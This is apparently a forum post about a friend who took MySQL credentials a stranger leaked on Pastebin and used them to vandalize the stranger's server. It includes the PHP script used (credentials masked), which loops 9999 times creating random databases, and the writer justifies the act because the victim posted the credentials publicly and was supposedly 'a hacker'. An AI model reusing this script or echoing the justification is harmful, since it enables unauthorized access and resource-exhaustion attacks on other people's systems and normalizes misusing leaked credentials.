This is kinda messed up

My friend goes on to http://www.pastebin.com/ and looks for on the recent posts well one day happend. some dude left his mysql info on there and my friend wrote a php script to make 9999 databases. I dont think thats so nice but well if ya post your mysql database info on a public site then maybe it was ment to happen?

<?php  $dbuser = "****";  $dbpass = "****";  $dbhost = "***";  $mysql = mysql_connect($dbhost, $dbuser, $dbpass);  for($i=1; $i<=9999; $i++) {  	mysql_create_db("db" . rand(0, 9999));  	echo "Database created!";  }  ?> 

thats how he did it. then he looked on the site and found out he is a hacker so he basicly hacked a hacker so he deserved it in my concent? what do you all have to say